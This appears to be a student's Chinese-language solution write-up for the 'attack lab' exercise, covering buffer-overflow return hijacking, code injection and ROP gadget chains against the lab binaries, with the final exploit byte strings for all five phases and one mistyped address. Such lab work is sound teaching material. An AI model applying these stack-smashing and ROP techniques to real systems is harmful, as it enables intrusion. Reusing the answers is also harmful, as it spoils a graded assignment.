Solution
ctarget
phase1
objdump -d ctarget > ctarget.s
查看汇编代码
0000000000401987 <test>:
401987: 48 83 ec 08 sub $0x8,%rsp
40198b: b8 00 00 00 00 mov $0x0,%eax
401990: e8 31 fe ff ff call 4017c6 <getbuf>
401995: 89 c2 mov %eax,%edx
401997: be 48 30 40 00 mov $0x403048,%esi
40199c: bf 01 00 00 00 mov $0x1,%edi
4019a1: b8 00 00 00 00 mov $0x0,%eax
4019a6: e8 75 f3 ff ff call 400d20 <__printf_chk@plt>
4019ab: 48 83 c4 08 add $0x8,%rsp
4019af: c3 ret
00000000004017c6 <getbuf>:
4017c6: 48 83 ec 18 sub $0x18,%rsp
4017ca: 48 89 e7 mov %rsp,%rdi
4017cd: e8 7e 02 00 00 call 401a50 <Gets>
4017d2: b8 01 00 00 00 mov $0x1,%eax
4017d7: 48 83 c4 18 add $0x18,%rsp
4017db: c3 ret
buf大小是$0x18=24$
根据 00000000004017dc <touch1>:
,得到touch1所在地址是4017dc
call之前会把当前函数地址压栈来回调,所以只要将压栈的函数地址换成touch1就行,需要缓冲区溢出
结合前面buf大小24,随便填24字节,注意小端法
11 45 14 19 19 81 00 00
11 45 14 19 19 81 00 00
11 45 14 19 19 81 00 00
dc 17 40 00 00 00 00 00
touch2
0000000000401808 <touch2>:
401808: 48 83 ec 08 sub $0x8,%rsp
40180c: 89 fa mov %edi,%edx
40180e: c7 05 e4 2c 20 00 02 movl $0x2,0x202ce4(%rip) # 6044fc <vlevel>
401815: 00 00 00
401818: 39 3d e6 2c 20 00 cmp %edi,0x202ce6(%rip) # 604504 <cookie>
40181e: 75 20 jne 401840 <touch2+0x38>
401820: be a8 2f 40 00 mov $0x402fa8,%esi
401825: bf 01 00 00 00 mov $0x1,%edi
40182a: b8 00 00 00 00 mov $0x0,%eax
40182f: e8 ec f4 ff ff call 400d20 <__printf_chk@plt>
401834: bf 02 00 00 00 mov $0x2,%edi
401839: e8 57 04 00 00 call 401c95 <validate>
40183e: eb 1e jmp 40185e <touch2+0x56>
401840: be d0 2f 40 00 mov $0x402fd0,%esi
401845: bf 01 00 00 00 mov $0x1,%edi
40184a: b8 00 00 00 00 mov $0x0,%eax
40184f: e8 cc f4 ff ff call 400d20 <__printf_chk@plt>
401854: bf 02 00 00 00 mov $0x2,%edi
401859: e8 f9 04 00 00 call 401d57 <fail>
40185e: bf 00 00 00 00 mov $0x0,%edi
401863: e8 f8 f4 ff ff call 400d60 <exit@plt>
源码里要传一个参数,这个参数和给的cookie一样
所以必须通过某种方式来传递参数,文档里说Appendix2里面介绍来翻译注入代码的步骤,于是我们知道这里需要自己注入代码
注入
movq $0x621e4f69, %rdi # 这里设定val
pushq $0x401808 # 由于说了不能直接jmp, call(但是理论上基于给定程序算一下offset应该也可以),这里压栈touch2的地址
ret # 这里恢复上一次%rip的位置,就可以顺利跳转到touch2了
gcc -c touch2.s
objdump -d touch2.o > touch2.d
得到
touch2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 69 4f 1e 62 mov $0x621e4f69,%rdi
7: 68 08 18 40 00 push $0x401808
c: c3 ret
于是buf长这样
48 c7 c7 69 4f 1e 62 68
08 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
接下来要让程序首先执行到这个地方,也就是用buf指针(这里存在$%rsp$中,就是栈指针)作为phase1中替换的地址
通过gdb给getbuf打个断点查看一下得到此时$%rsp=\text{0x5567f698}$
于是最后输入长这样:
48 c7 c7 69 4f 1e 62 68
08 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 f6 67 55 00 00 00 00
touch3
0000000000401919 <touch3>:
401919: 53 push %rbx
40191a: 48 89 fb mov %rdi,%rbx
40191d: c7 05 d5 2b 20 00 03 movl $0x3,0x202bd5(%rip) # 6044fc <vlevel>
401924: 00 00 00
401927: 48 89 fe mov %rdi,%rsi
40192a: 8b 3d d4 2b 20 00 mov 0x202bd4(%rip),%edi # 604504 <cookie>
401930: e8 33 ff ff ff call 401868 <hexmatch>
401935: 85 c0 test %eax,%eax
401937: 74 23 je 40195c <touch3+0x43>
401939: 48 89 da mov %rbx,%rdx
40193c: be f8 2f 40 00 mov $0x402ff8,%esi
401941: bf 01 00 00 00 mov $0x1,%edi
401946: b8 00 00 00 00 mov $0x0,%eax
40194b: e8 d0 f3 ff ff call 400d20 <__printf_chk@plt>
401950: bf 03 00 00 00 mov $0x3,%edi
401955: e8 3b 03 00 00 call 401c95 <validate>
40195a: eb 21 jmp 40197d <touch3+0x64>
40195c: 48 89 da mov %rbx,%rdx
40195f: be 20 30 40 00 mov $0x403020,%esi
401964: bf 01 00 00 00 mov $0x1,%edi
401969: b8 00 00 00 00 mov $0x0,%eax
40196e: e8 ad f3 ff ff call 400d20 <__printf_chk@plt>
401973: bf 03 00 00 00 mov $0x3,%edi
401978: e8 da 03 00 00 call 401d57 <fail>
40197d: bf 00 00 00 00 mov $0x0,%edi
401982: e8 d9 f3 ff ff call 400d60 <exit@plt>
hexmatch会判断传入的字符串是否与cookie相同
跳转到touch3之后会发生如下调用:
sequenceDiagram
touch3->>hexmatch:call
hexmatch->>random:call
random->>hexmatch:return
hexmatch->>sprintf:call
sprintf->>hexmatch:return
hexmatch->>strncmp:call
strncmp->>hexmatch:return
hexmatch->>touch3:return
正如文档里讲的那样,一堆乱七八糟的函数会把栈空间反复覆盖重写
考虑getbuf开辟的空间:
除了第一次跳转到我们在buf里注入的代码是安全的(因为这个过程中不执行其他函数和对栈空间的操作),其余情况都是不安全的
所以cookie不能存在buf里面,于是我们存在修改call压栈地址的后面(控制程序不会return到之前的引起错误)
之前我们知道$%rsp=\text{0x5567f698}$,跨越buf空间需要$24$字节,再加上压栈地址的$8$字节
得到地址0x5567b8
movq $0x5567f6b8, %rdi
pushq $0x401919
ret
反汇编一下得到最后的答案是
48 c7 c7 b8 f6 67 55 68
19 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
98 f6 67 55 00 00 00 00
36 32 31 65 34 66 36 39
00
rtarget
首先对farm.c进行编译和反汇编
gcc -Og -c farm.c
objdump farm.o -d > farm.d
得到farm里面函数对应的bytecode
phase4
要求完成touch2
参考phase2的做法:
- 把cookie存到$%rdi$中
- touch2地址压栈,ret
- 回调$%rsp$
然而这里栈指针随机化了,无法直接回调$%rsp$
所以只能使用farm.c里的函数bytecode进行ROP攻击
由于我们还是不知道栈指针地址,所以只能把cookie存在test的栈帧上。然后通过popq到一个寄存器里,再把这个寄存器的值转到$%rdi$中
00000000004019c3 <setval_242>:
4019c3: c7 07 42 9f 50 58 movl $0x58509f42,(%rdi)
4019c9: c3 ret
00000000004019bd <getval_184>:
4019bd: b8 23 48 89 c7 mov $0xc7894823,%eax
4019c2: c3 ret
58
对应popq %rax
48 89 c7
对应movq %rax %rdi
分别对应的地址4019c8,4019bf
于是得到答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 19 40 00 00 00 00 00
69 4f 1e 62 00 00 00 00
bf 19 40 00 00 00 00 00
08 18 40 00 00 00 00 00
phase5
和phase3一样的思路,cookie还是只能存在栈上,这个时候还是要用栈指针相对地址来搞定参数传递
发现farm.c里面有一个add_xy函数,可以用来操作offset
思路是:
- 把$%rsp$和偏置分别通过mov和pop存到$%rdi和%rsi$其中一个上面
- 利用add_xy把$%rdi+%rsi$存到$%rax$
- 利用
movq %rax %rdi
转移地址 - 调用touch3
check了一下发现,只有popq %rax的编码
只能通过mov %rax来传递参数了,phase4已经实现传递给$%rdi$没问题。问题在于怎么传递给$%rsi$。
check了一下,只有 89 d6
这一句能传值给$%rsi$(因为高四位肯定是0,movl在这里和movq的作用一样)
其来源是$%rdx$,接下来重复寻找过程,又只有一个来源$%rcx$
最后终于找到 movl %rax %rcx
,后面接一个test不要紧
找到的函数和对于call地址如下:
00000000004019c3 <setval_242>: # 58(4019c8) -> popq %rax
4019c3: c7 07 42 9f 50 58 movl $0x58509f42,(%rdi)
4019c9: c3 ret
00000000004019f1 <add_xy>: # (4019f1) -> %rax = %rdi + %rsi
4019f1: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019f5: c3 ret
00000000004019bd <getval_184>: # 48 89 c7(4019bf) -> %rdi = %rax
4019bd: b8 23 48 89 c7 mov $0xc7894823,%eax
4019c2: c3 ret
0000000000401a1e <setval_251>: # 48 89 e0(401a21) -> %rax = %rsp
401a1e: c7 07 f7 48 89 e0 movl $0xe08948f7,(%rdi)
401a24: c3 ret
0000000000401a46 <setval_241>: # 89 d6(401a48) -> %rsi = %rdx(%esi = %edx)
401a46: c7 07 89 d6 90 90 movl $0x9090d689,(%rdi)
401a4c: c3 ret
0000000000401a96 <addval_147>: # 89 ca(401a9a) -> %rdx = %rcx(%edx = %ecx)
401a96: 8d 87 46 34 89 ca lea -0x3576cbba(%rdi),%eax
401a9c: c3 ret
0000000000401a39 <setval_114>: # 89 c1 + fnop(401a3b) -> %rcx = %rax(%ecx = %eax)
401a39: c7 07 89 c1 84 c9 movl $0xc984c189,(%rdi)
401a3f: c3 ret
操作(存储)步骤如下:
- stackspace
- movrsprax
- movraxrdi
- poprax
- saveoffset
- movraxrcx
- movrcxrdx
- movrdxrsi
- add
- movraxrdi
- touch3
- cookie
- “00”
答案就是
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
21 1a 40 00 00 00 00 00
bf 19 40 00 00 00 00 00
c8 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
3b 1a 40 00 00 00 00 00
9a 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
f1 19 40 00 00 00 00 00
bf 19 40 00 00 00 00 00
19 19 40 00 00 00 00 00
36 32 31 65 34 66 36 39
00